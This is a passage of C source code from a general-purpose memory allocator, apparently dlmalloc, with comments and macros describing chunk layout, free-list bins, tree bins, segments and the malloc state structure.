mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
And if it's free, it looks like this:
chunk-> +- -+
| User payload (must be in use, or we would have merged!) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P|
| Size of this chunk 0| +-+
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Next pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Prev pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| :
+- size - sizeof(struct chunk) unused bytes -+
: |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of this chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0|
| Size of next chunk (must be in use, or we would have merged)| +-+
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| :
+- User payload -+
: |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0|
+-+
Note that since we always merge adjacent free chunks, the chunks
adjacent to a free chunk must be in use.
Given a pointer to a chunk (which can be derived trivially from the
payload pointer) we can, in O(1) time, find out whether the adjacent
chunks are free, and if so, unlink them from the lists that they
are on and merge them with the current chunk.
Chunks always begin on even word boundaries, so the mem portion
(which is returned to the user) is also on an even word boundary, and
thus at least double-word aligned.
The P (PINUSE_BIT) bit, stored in the unused low-order bit of the
chunk size (which is always a multiple of two words), is an in-use
bit for the *previous* chunk. If that bit is *clear*, then the
word before the current chunk size contains the previous chunk
size, and can be used to find the front of the previous chunk.
The very first chunk allocated always has this bit set, preventing
access to non-existent (or non-owned) memory. If pinuse is set for
any given chunk, then you CANNOT determine the size of the
previous chunk, and might even get a memory addressing fault when
trying to do so.
The C (CINUSE_BIT) bit, stored in the unused second-lowest bit of
the chunk size redundantly records whether the current chunk is
inuse (unless the chunk is mmapped). This redundancy enables usage
checks within free and realloc, and reduces indirection when freeing
and consolidating chunks.
Each freshly allocated chunk must have both cinuse and pinuse set.
That is, each allocated chunk borders either a previously allocated
and still in-use chunk, or the base of its memory arena. This is
ensured by making all allocations from the `lowest' part of any
found chunk. Further, no free chunk physically borders another one,
so each free chunk is known to be preceded and followed by either
inuse chunks or the ends of memory.
Note that the `foot' of the current chunk is actually represented
as the prev_foot of the NEXT chunk. This makes it easier to
deal with alignments etc but can be very confusing when trying
to extend or adapt this code.
The exceptions to all this are
1. The special chunk `top' is the top-most available chunk (i.e.,
the one bordering the end of available memory). It is treated
specially. Top is never included in any bin, is used only if
no other chunk is available, and is released back to the
system if it is very large (see M_TRIM_THRESHOLD). In effect,
the top chunk is treated as larger (and thus less well
fitting) than any other available chunk. The top chunk
doesn't update its trailing size field since there is no next
contiguous chunk that would have to index off it. However,
space is still allocated for it (TOP_FOOT_SIZE) to enable
separation or merging when space is extended.
3. Chunks allocated via mmap, have both cinuse and pinuse bits
cleared in their head fields. Because they are allocated
one-by-one, each must carry its own prev_foot field, which is
also used to hold the offset this chunk has within its mmapped
region, which is needed to preserve alignment. Each mmapped
chunk is trailed by the first two fields of a fake next-chunk
for sake of usage checks.
*/
struct malloc_chunk {
size_t prev_foot; /* Size of previous chunk (if free). */
size_t head; /* Size and inuse bits. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
typedef struct malloc_chunk mchunk;
typedef struct malloc_chunk* mchunkptr;
typedef struct malloc_chunk* sbinptr; /* The type of bins of chunks */
typedef unsigned int bindex_t; /* Described below */
typedef unsigned int binmap_t; /* Described below */
typedef unsigned int flag_t; /* The type of various bit flag sets */
/* ------------------- Chunks sizes and alignments ----------------------- */
#define MCHUNK_SIZE (sizeof(mchunk))
#if FOOTERS
#define CHUNK_OVERHEAD (TWO_SIZE_T_SIZES)
#else /* FOOTERS */
#define CHUNK_OVERHEAD (SIZE_T_SIZE)
#endif /* FOOTERS */
/* MMapped chunks need a second word of overhead ... */
#define MMAP_CHUNK_OVERHEAD (TWO_SIZE_T_SIZES)
/* ... and additional padding for fake next-chunk at foot */
#define MMAP_FOOT_PAD (FOUR_SIZE_T_SIZES)
/* The smallest size we can malloc is an aligned minimal chunk */
#define MIN_CHUNK_SIZE\
((MCHUNK_SIZE + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK)
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void*)((char*)(p) + TWO_SIZE_T_SIZES))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - TWO_SIZE_T_SIZES))
/* chunk associated with aligned address A */
#define align_as_chunk(A) (mchunkptr)((A) + align_offset(chunk2mem(A)))
/* Bounds on request (not chunk) sizes. */
#define MAX_REQUEST ((-MIN_CHUNK_SIZE) << 2)
#define MIN_REQUEST (MIN_CHUNK_SIZE - CHUNK_OVERHEAD - SIZE_T_ONE)
/* pad request bytes into a usable size */
#define pad_request(req) \
(((req) + CHUNK_OVERHEAD + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK)
/* pad request, checking for minimum (but not maximum) */
#define request2size(req) \
(((req) < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(req))
/* ------------------ Operations on head and foot fields ----------------- */
/*
The head field of a chunk is or'ed with PINUSE_BIT when previous
adjacent chunk in use, and or'ed with CINUSE_BIT if this chunk is in
use, unless mmapped, in which case both bits are cleared.
FLAG4_BIT is not used by this malloc, but might be useful in extensions.
*/
#define PINUSE_BIT (SIZE_T_ONE)
#define CINUSE_BIT (SIZE_T_TWO)
#define FLAG4_BIT (SIZE_T_FOUR)
#define INUSE_BITS (PINUSE_BIT|CINUSE_BIT)
#define FLAG_BITS (PINUSE_BIT|CINUSE_BIT|FLAG4_BIT)
/* Head value for fenceposts */
#define FENCEPOST_HEAD (INUSE_BITS|SIZE_T_SIZE)
/* extraction of fields from head words */
#define cinuse(p) ((p)->head & CINUSE_BIT)
#define pinuse(p) ((p)->head & PINUSE_BIT)
#define flag4inuse(p) ((p)->head & FLAG4_BIT)
#define is_inuse(p) (((p)->head & INUSE_BITS) != PINUSE_BIT)
#define is_mmapped(p) (((p)->head & INUSE_BITS) == 0)
#define chunksize(p) ((p)->head & ~(FLAG_BITS))
#define clear_pinuse(p) ((p)->head &= ~PINUSE_BIT)
#define set_flag4(p) ((p)->head |= FLAG4_BIT)
#define clear_flag4(p) ((p)->head &= ~FLAG4_BIT)
/* Treat space at ptr +/- offset as a chunk */
#define chunk_plus_offset(p, s) ((mchunkptr)(((char*)(p)) + (s)))
#define chunk_minus_offset(p, s) ((mchunkptr)(((char*)(p)) - (s)))
/* Ptr to next or previous physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)( ((char*)(p)) + ((p)->head & ~FLAG_BITS)))
#define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_foot) ))
/* extract next chunk's pinuse bit */
#define next_pinuse(p) ((next_chunk(p)->head) & PINUSE_BIT)
/* Get/set size at footer */
#define get_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot)
#define set_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot = (s))
/* Set size, pinuse bit, and foot */
#define set_size_and_pinuse_of_free_chunk(p, s)\
((p)->head = (s|PINUSE_BIT), set_foot(p, s))
/* Set size, pinuse bit, foot, and clear next pinuse */
#define set_free_with_pinuse(p, s, n)\
(clear_pinuse(n), set_size_and_pinuse_of_free_chunk(p, s))
/* Get the internal overhead associated with chunk p */
#define overhead_for(p)\
(is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD)
/* Return true if malloced space is not necessarily cleared */
#if MMAP_CLEARS
#define calloc_must_clear(p) (!is_mmapped(p))
#else /* MMAP_CLEARS */
#define calloc_must_clear(p) (1)
#endif /* MMAP_CLEARS */
/* ---------------------- Overlaid data structures ----------------------- */
/*
When chunks are not in use, they are treated as nodes of either
lists or trees.
"Small" chunks are stored in circular doubly-linked lists, and look
like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Larger chunks are kept in a form of bitwise digital trees (aka
tries) keyed on chunksizes. Because malloc_tree_chunks are only for
free chunks greater than 256 bytes, their size doesn't impose any
constraints on user chunk sizes. Each node looks like:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk of same size |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk of same size |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Pointer to left child (child[0]) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Pointer to right child (child[1]) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Pointer to parent |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| bin index of this chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Each tree holding treenodes is a tree of unique chunk sizes. Chunks
of the same size are arranged in a circularly-linked list, with only
the oldest chunk (the next to be used, in our FIFO ordering)
actually in the tree. (Tree members are distinguished by a non-null
parent pointer.) If a chunk with the same size an an existing node
is inserted, it is linked off the existing node using pointers that
work in the same way as fd/bk pointers of small chunks.
Each tree contains a power of 2 sized range of chunk sizes (the
smallest is 0x100 <= x < 0x180), which is is divided in half at each
tree level, with the chunks in the smaller half of the range (0x100
<= x < 0x140 for the top nose) in the left subtree and the larger
half (0x140 <= x < 0x180) in the right subtree. This is, of course,
done by inspecting individual bits.
Using these rules, each node's left subtree contains all smaller
sizes than its right subtree. However, the node at the root of each
subtree has no particular ordering relationship to either. (The
dividing line between the subtree sizes is based on trie relation.)
If we remove the last chunk of a given size from the interior of the
tree, we need to replace it with a leaf node. The tree ordering
rules permit a node to be replaced by any leaf below it.
The smallest chunk in a tree (a common operation in a best-fit
allocator) can be found by walking a path to the leftmost leaf in
the tree. Unlike a usual binary tree, where we follow left child
pointers until we reach a null, here we follow the right child
pointer any time the left one is null, until we reach a leaf with
both child pointers null. The smallest chunk in the tree will be
somewhere along that path.
The worst case number of steps to add, find, or remove a node is
bounded by the number of bits differentiating chunks within
bins. Under current bin calculations, this ranges from 6 up to 21
(for 32 bit sizes) or up to 53 (for 64 bit sizes). The typical case
is of course much better.
*/
struct malloc_tree_chunk {
/* The first four fields must be compatible with malloc_chunk */
size_t prev_foot;
size_t head;
struct malloc_tree_chunk* fd;
struct malloc_tree_chunk* bk;
struct malloc_tree_chunk* child[2];
struct malloc_tree_chunk* parent;
bindex_t index;
};
typedef struct malloc_tree_chunk tchunk;
typedef struct malloc_tree_chunk* tchunkptr;
typedef struct malloc_tree_chunk* tbinptr; /* The type of bins of trees */
/* A little helper macro for trees */
#define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0] : (t)->child[1])
/* ----------------------------- Segments -------------------------------- */
/*
Each malloc space may include non-contiguous segments, held in a
list headed by an embedded malloc_segment record representing the
top-most space. Segments also include flags holding properties of
the space. Large chunks that are directly allocated by mmap are not
included in this list. They are instead independently created and
destroyed without otherwise keeping track of them.
Segment management mainly comes into play for spaces allocated by
MMAP. Any call to MMAP might or might not return memory that is
adjacent to an existing segment. MORECORE normally contiguously
extends the current space, so this space is almost always adjacent,
which is simpler and faster to deal with. (This is why MORECORE is
used preferentially to MMAP when both are available -- see
sys_alloc.) When allocating using MMAP, we don't use any of the
hinting mechanisms (inconsistently) supported in various
implementations of unix mmap, or distinguish reserving from
committing memory. Instead, we just ask for space, and exploit
contiguity when we get it. It is probably possible to do
better than this on some systems, but no general scheme seems
to be significantly better.
Management entails a simpler variant of the consolidation scheme
used for chunks to reduce fragmentation -- new adjacent memory is
normally prepended or appended to an existing segment. However,
there are limitations compared to chunk consolidation that mostly
reflect the fact that segment processing is relatively infrequent
(occurring only when getting memory from system) and that we
don't expect to have huge numbers of segments:
* Segments are not indexed, so traversal requires linear scans. (It
would be possible to index these, but is not worth the extra
overhead and complexity for most programs on most platforms.)
* New segments are only appended to old ones when holding top-most
memory; if they cannot be prepended to others, they are held in
different segments.
Except for the top-most segment of an mstate, each segment record
is kept at the tail of its segment. Segments are added by pushing
segment records onto the list headed by &mstate.seg for the
containing mstate.
Segment flags control allocation/merge/deallocation policies:
* If EXTERN_BIT set, then we did not allocate this segment,
and so should not try to deallocate or merge with others.
(This currently holds only for the initial segment passed
into create_mspace_with_base.)
* If USE_MMAP_BIT set, the segment may be merged with
other surrounding mmapped segments and trimmed/de-allocated
using munmap.
* If neither bit is set, then the segment was obtained using
MORECORE so can be merged with surrounding MORECORE'd segments
and deallocated/trimmed using MORECORE with negative arguments.
*/
struct malloc_segment {
char* base; /* base address */
size_t size; /* allocated size */
struct malloc_segment* next; /* ptr to next segment */
flag_t sflags; /* mmap and extern flag */
};
#define is_mmapped_segment(S) ((S)->sflags & USE_MMAP_BIT)
#define is_extern_segment(S) ((S)->sflags & EXTERN_BIT)
typedef struct malloc_segment msegment;
typedef struct malloc_segment* msegmentptr;
/* ---------------------------- malloc_state ----------------------------- */
/*
A malloc_state holds all of the bookkeeping for a space.
The main fields are:
Top
The topmost chunk of the currently active segment. Its size is
cached in topsize. The actual size of topmost space is
topsize+TOP_FOOT_SIZE, which includes space reserved for adding
fenceposts and segment records if necessary when getting more
space from the system. The size at which to autotrim top is
cached from mparams in trim_check, except that it is disabled if
an autotrim fails.
Designated victim (dv)
This is the preferred chunk for servicing small requests that
don't have exact fits. It is normally the chunk split off most
recently to service another small request. Its size is cached in
dvsize. The link fields of this chunk are not maintained since it
is not kept in a bin.
SmallBins
An array of bin headers for free chunks. These bins hold chunks
with sizes less than MIN_LARGE_SIZE bytes. Each bin contains
chunks of all the same size, spaced 8 bytes apart. To simplify
use in double-linked lists, each bin header acts as a malloc_chunk
pointing to the real first node, if it exists (else pointing to
itself). This avoids special-casing for headers. But to avoid
waste, we allocate only the fd/bk pointers of bins, and then use
repositioning tricks to treat these as the fields of a chunk.
TreeBins
Treebins are pointers to the roots of trees holding a range of
sizes. There are 2 equally spaced treebins for each power of two
from TREE_SHIFT to TREE_SHIFT+16. The last bin holds anything
larger.
Bin maps
There is one bit map for small bins ("smallmap") and one for
treebins ("treemap). Each bin sets its bit when non-empty, and
clears the bit when empty. Bit operations are then used to avoid
bin-by-bin searching -- nearly all "search" is done without ever
looking at bins that won't be selected. The bit maps
conservatively use 32 bits per map word, even if on 64bit system.
For a good description of some of the bit-based techniques used
here, see Henry S. Warren Jr's book "Hacker's Delight" (and
supplement at http://hackersdelight.org/). Many of these are
intended to reduce the branchiness of paths through malloc etc, as
well as to reduce the number of memory locations read or written.
Segments
A list of segments headed by an embedded malloc_segment record
representing the initial space.
Address check support
The least_addr field is the least address ever obtained from
MORECORE or MMAP. Attempted frees and reallocs of any address less
than this are trapped (unless INSECURE is defined).
Magic tag
A cross-check field that should always hold same value as mparams.magic.
Max allowed footprint
The maximum allowed bytes to allocate from system (zero means no limit)
Flags
Bits recording whether to use MMAP, locks, or contiguous MORECORE
Statistics
Each space keeps track of current and maximum system memory
obtained via MORECORE or MMAP.
Trim support
Fields holding the amount of unused topmost memory that should trigger
trimming, and a counter to force periodic scanning to release unused
non-topmost segments.
Locking
If USE_LOCKS is defined, the "mutex" lock is acquired and released
around every public call using this mspace.
Extension support
A void* pointer and a size_t field that can be used to help implement
extensions to this malloc.
*/
/* Bin types, widths and sizes */
#define NSMALLBINS (32U)
#define NTREEBINS (32U)
#define SMALLBIN_SHIFT (3U)
#define SMALLBIN_WIDTH (SIZE_T_ONE << SMALLBIN_SHIFT)
#define TREEBIN_SHIFT (8U)
#define MIN_LARGE_SIZE (SIZE_T_ONE << TREEBIN_SHIFT)
#define MAX_SMALL_SIZE (MIN_LARGE_SIZE - SIZE_T_ONE)
#define MAX_SMALL_REQUEST (MAX_SMALL_SIZE - CHUNK_ALIGN_MASK - CHUNK_OVERHEAD)
struct malloc_state {
binmap_t smallmap;
binmap_t treemap;
size_t dvsize;
size_t topsize;
char* least_addr;
mchunkptr dv;
mchunkptr top;
size_t trim_check;
size_t release_checks;
size_t magic;
mchunkptr smallbins[(NSMALLBINS+1)*2];
tbinptr treebins[NTREEBINS];
size_t footprint;
size_t max_footprint;
size_t footprint_limit; /* zero means no limit */
flag_t mflags;
#if USE_LOCKS
MLOCK_T mutex; /* locate lock among fields that rarely change */
#endif /* USE_LOCKS */
msegment seg;
void* extp; /* Unused but available for extensions */
size_t exts;
};
typedef struct malloc_state* mstate;
/* ------------- Global malloc_state and malloc_params ------------------- */
/*
malloc_params holds global properties, including those that can be
dynamically set using mallopt. There is a single instance, mparams,
initialized in init_mparams. Note that the non-zeroness of "magic"
also serves as an initialization flag.
*/
struct malloc_params {
size_t magic;
size_t page_size;
size_t granularity;
size_t mmap_threshold;
size_t trim_threshold;
flag_t default_mflags;
};
static struct malloc_params mparams;
/* Ensure mparams initialized */
#define ensure_initialization() (void)(mparams.magic != 0 || init_mparams())
#if !ONLY_MSPACES
/* The global malloc_state used for all non-"mspace" calls */
static struct malloc_state _gm_;
#define gm (&_gm_)
#define is_global(M) ((M) == &_gm_)
#endif /* !ONLY_MSPACES */
#define is_initialized(M) ((M)->top != 0)
/* -------------------------- system alloc setup ------------------------- */
/* Operations on mflags */
#define use_lock(M) ((M)->mflags & USE_LOCK_BIT)
#define enable_lock(M) ((M)->mflags |= USE_LOCK_BIT)
#if USE_LOCKS
#define disable_lock(M) ((M)->mflags &= ~USE_LOCK_BIT)
#else
#define disable_lock(M)
#endif
#define use_mmap(M) ((M)->mflags & USE_MMAP_BIT)
#define enable_mmap(M) ((M)->mflags |= USE_MMAP_BIT)
#if HAVE_MMAP
#define disable_mmap(M) ((M)->mflags &= ~USE_MMAP_BIT)
#else
#define disable_mmap(M)
#endif
#define use_noncontiguous(M) ((M)->mflags & USE_NONCONTIGUOUS_BIT)
#define disable_contiguous(M) ((M)->mflags |= USE_NONCONTIGUOUS_BIT)
#define set_lock(M,L)\
((M)->mflags = (L)?\
((M)->mflags | USE_LOCK_BIT) :\
((M)->mflags & ~USE_LOCK_BIT))
/* page-align a size */
#define page_align(S)\
(((S) + (mparams.page_size - SIZE_T_ONE)) & ~(mparams.page_size - SIZE_T_ONE))
/* granularity-align a size */
#define granularity_align(S)\
(((S) + (mparams.granularity - SIZE_T_ONE))\
& ~(mparams.granularity - SIZE_T_ONE))
/* For mmap, use granularity alignment on windows, else page-align */
#ifdef WIN32
#define mmap_align(S) granularity_align(S)
#else
#define mmap_align(S) page_align(S)
#endif
/* For sys_alloc, enough padding to ensure can malloc request on success */
#define SYS_ALLOC_PADDING (TOP_FOOT_SIZE + MALLOC_ALIGNMENT)
#define is_page_aligned(S)\
(((size_t)(S) & (mparams.page_size - SIZE_T_ONE)) == 0)
#define is_granularity_aligned(S)\
(((size_t)(S) & (mparams.granularity - SIZE_T_ONE)) == 0)
/* True if segment S holds address A */
#define segment_holds(S, A)\
((char*)(A) >= S->base && (char*)(A) < S->base + S->size)
/* Return segment holding given address */
static msegmentptr segment_holding(mstate m, char* addr) {
msegmentptr sp = &m->seg;
for (;;) {
if (addr >= sp->base && addr < sp->base + sp->size)
return sp;
if ((sp = sp->next) == 0)
return 0;
}
}
/* Return true if segment contains a segment link */
static int has_segment_link(mstate m, msegmentptr ss) {
msegmentptr sp = &m->seg;
for (;;) {
if ((char*)sp >= ss->base && (char*)sp < ss->base + ss->size)
return 1;
if ((sp = sp->next) == 0)
return 0;
}
}
#ifndef MORECORE_CANNOT_TRIM
#define should_trim(M,s) ((s) > (M)->trim_check)
#else /* MORECORE_CANNOT_TRIM */
#define should_trim(M,s) (0)
#endif /* MORECORE_CANNOT_TRIM */
/*
TOP_FOOT_SIZE is padding at the end of a segment, including space
that may be needed to place segment records and fenceposts when new
noncontiguous segments are added.
*/
#define TOP_FOOT_SIZE\
(align_offset(chunk2mem(0))+pad_request(sizeof(struct malloc_segment))+MIN_CHUNK_SIZE)
/* ------------------------------- Hooks -------------------------------- */
/*
PREACTION should be defined to return 0 on success, and nonzero on
failure. If you are not using locking, you can redefine these to do
anything you like.
*/
#if USE_LOCKS
#define PREACTION(M) ((use_lock(M))? ACQUIRE_LOCK(&(M)->mutex) : 0)
#define POSTACTION(M) { if (use_lock(M)) RELEASE_LOCK(&(M)->mutex); }
#else /* USE_LOCKS */
#ifndef PREACTION
#define PREACTION(M) (0)
#endif /* PREACTION */
#ifndef POSTACTION
#define POSTACTION(M)
#endif /* POSTACTION */
#endif /* USE_LOCKS */
/*
CORRUPTION_ERROR_ACTION is triggered upon detected bad addresses.
USAGE_ERROR_ACTION is triggered on detected bad frees and
reallocs. The argument p is an address that might have triggered the
fault. It is ignored by the two predefined actions, but might be
useful in custom actions that try to help diagnose errors.
*/
#if PROCEED_ON_ERROR
/* A count of the number of corruption errors causing resets */
int malloc_corruption_error_count;
/* default corruption action */
static void reset_on_error(mstate m);
#define CORRUPTION_ERROR_ACTION(m) reset_on_error(m)
#define USAGE_ERROR_ACTION(m, p)
#else /* PROCEED_ON_ERROR */
#ifndef CORRUPTION_ERROR_ACTION
#define CORRUPTION_ERROR_ACTION(m) ABORT
#endif /* CORRUPTION_ERROR_ACTION */
#ifndef USAGE_ERROR_ACTION
#define USAGE_ERROR_ACTION(m,p) ABORT
#endif /* USAGE_ERROR_ACTION */
#endif /* PROCEED_ON_ERROR */
/* -------------------------- Debugging setup ---------------------------- */
#if ! DEBUG
#define check_free_chunk(M,P)
#define check_inuse_chunk(M,P)
#define check_malloced_chunk(M,P,N)
#define check_mmapped_chunk(M,P)
#define check_malloc_state(M)
#define check_top_chunk(M,P)
#else /* DEBUG */
#define check_free_chunk(M,P) do_check_free_chunk(M,P)
#define check_inuse_chunk(M,P) do_check_inuse_chunk(M,P)
#define check_top_chunk(M,P) do_check_top_chunk(M,P)
#define check_malloced_chunk(M,P,N) do_check_malloced_chunk(M,P,N)
#define check_mmapped_chunk(M,P) do_check_mmapped_chunk(M,P)
#define check_malloc_state(M) do_check_malloc_state(M)
static void do_check_any_chunk(mstate m, mchunkptr p);
static void do_check_top_chunk(mstate m, mchunkptr p);
static void do_check_mmapped_chunk(mstate m, mchunkptr p);
static void do_check_inuse_chunk(mstate m, mchunkptr p);
static void do_check_free_chunk(mstate m, mchunkptr p);
static void do_check_malloced_chunk(mstate m, void* mem, size_t s);
static void do_check_tree(mstate m, tchunkptr t);
static void do_check_treebin(mstate m, bindex_t i);
static void do_check_smallbin(mstate m, bindex_t i);
static void do_check_malloc_state(mstate m);
static int bin_find(mstate m, mchunkptr x);
static size_t traverse_and_check(mstate m);
#endif /* DEBUG */
/* ---------------------------- Indexing Bins ---------------------------- */
#define is_small(s) (((s) >> SMALLBIN_SHIFT) < NSMALLBINS)
#define small_index(s) (bindex_t)((s) >> SMALLBIN_SHIFT)
#define small_index2size(i) ((i) << SMALLBIN_SHIFT)
#define MIN_SMALL_INDEX (small_index(MIN_CHUNK_SIZE))
/* addressing by index. See above about smallbin repositioning */
#define smallbin_at(M, i) ((sbinptr)((char*)&((M)->smallbins[(i)<<1])))
#define treebin_at(M,i) (&((M)->treebins[i]))
/* assign tree index for size S to variable I. Use x86 asm if possible */
#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
#define compute_tree_index(S, I)\
{\
unsigned int X = S >> TREEBIN_SHIFT;\
if (X == 0)\
I = 0;\
else if (X > 0xFFFF)\
I = NTREEBINS-1;\
else {\
unsigned int K = (unsigned) sizeof(X)*__CHAR_BIT__ - 1 - (unsigned) __builtin_clz(X); \
I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\
}\
}
#elif defined (__INTEL_COMPILER)
#define compute_tree_index(S, I)\
{\
size_t X = S >> TREEBIN_SHIFT;\
if (X == 0)\
I = 0;\
else if (X > 0xFFFF)\
I = NTREEBINS-1;\
else {\
unsigned int K = _bit_scan_reverse (X); \
I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\
}\
}
#elif defined(_MSC_VER) && _MSC_VER>=1300
#define compute_tree_index(S, I)\
{\
size_t X = S >> TREEBIN_SHIFT;\
if (X == 0)\
I = 0;\
else if (X > 0xFFFF)\
I = NTREEBINS-1;\
else {\
unsigned int K;\
_BitScanReverse((DWORD *) &K, (DWORD) X);\
I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\
}\
}
#else /* GNUC */
#define compute_tree_index(S, I)\
{\
size_t X = S >> TREEBIN_SHIFT;\
if (X == 0)\
I = 0;\
else if (X > 0xFFFF)\
I = NTREEBINS-1;\
else {\
unsigned int Y = (unsigned int)X;\
unsigned int N = ((Y - 0x100) >> 16) & 8;\
unsigned int K = (((Y <<= N) - 0x1000) >> 16) & 4;\
N += K;\
N += K = (((Y <<= K) - 0x4000) >> 16) & 2;\
K = 14 - N + ((Y <<= K) >> 15);\
I = (K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1));\
}\
}
#endif /* GNUC */
/* Bit representing maximum resolved size in a treebin at i */
#define bit_for_tree_index(i) \
(i == NTREEBINS-1)? (SIZE_T_BITSIZE-1) : (((i) >> 1) + TREEBIN_SHIFT - 2)
/* Shift placing maximum resolved bit in a treebin at i as sign bit */
#define leftshift_for_tree_index(i) \
((i == NTREEBINS-1)? 0 : \
((SIZE_T_BITSIZE-SIZE_T_ONE) - (((i) >> 1) + TREEBIN_SHIFT - 2)))
/* The size of the smallest chunk held in bin with index i */
#define minsize_for_tree_index(i) \
((SIZE_T_ONE << (((i) >> 1) + TREEBIN_SHIFT)) | \
(((size_t)((i) & SIZE_T_ONE)) << (((i) >> 1) + TREEBIN_SHIFT - 1)))
/* ------------------------ Operations on bin maps ----------------------- */
/* bit corresponding to given index */
#define idx2bit(i) ((binmap_t)(1) << (i))
/* Mark/Clear bits with given index */
#define mark_smallmap(M,i) ((M)->smallmap |= idx2bit(i))
#define clear_smallmap(M,i) ((M)->smallmap &= ~idx2bit(i))
#define smallmap_is_marked(M,i) ((M)->smallmap & idx2bit(i))
#define mark_treemap(M,i) ((M)->treemap |= idx2bit(i))
#define clear_treemap(M,i) ((M)->treemap &= ~idx2bit(i))
#define treemap_is_marked(M,i) ((M)->treemap & idx2bit(i))
/* isolate the least set bit of a bitmap */
#define least_bit(x) ((x) & -(x))
/* mask with all bits to left of least bit of x on */
#define left_bits(x) ((x<<1) | -(x<<1))
/* mask with all bits to left of or equal to least bit of x on */
#define same_or_left_bits(x) ((x) | -(x))
/* index corresponding to given bit. Use x86 asm if possible */
#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
#define compute_bit2idx(X, I)\
{\
unsigned int J;\
J = __builtin_ctz(X); \
I = (bindex_t)J;\
}
#elif defined (__INTEL_COMPILER)
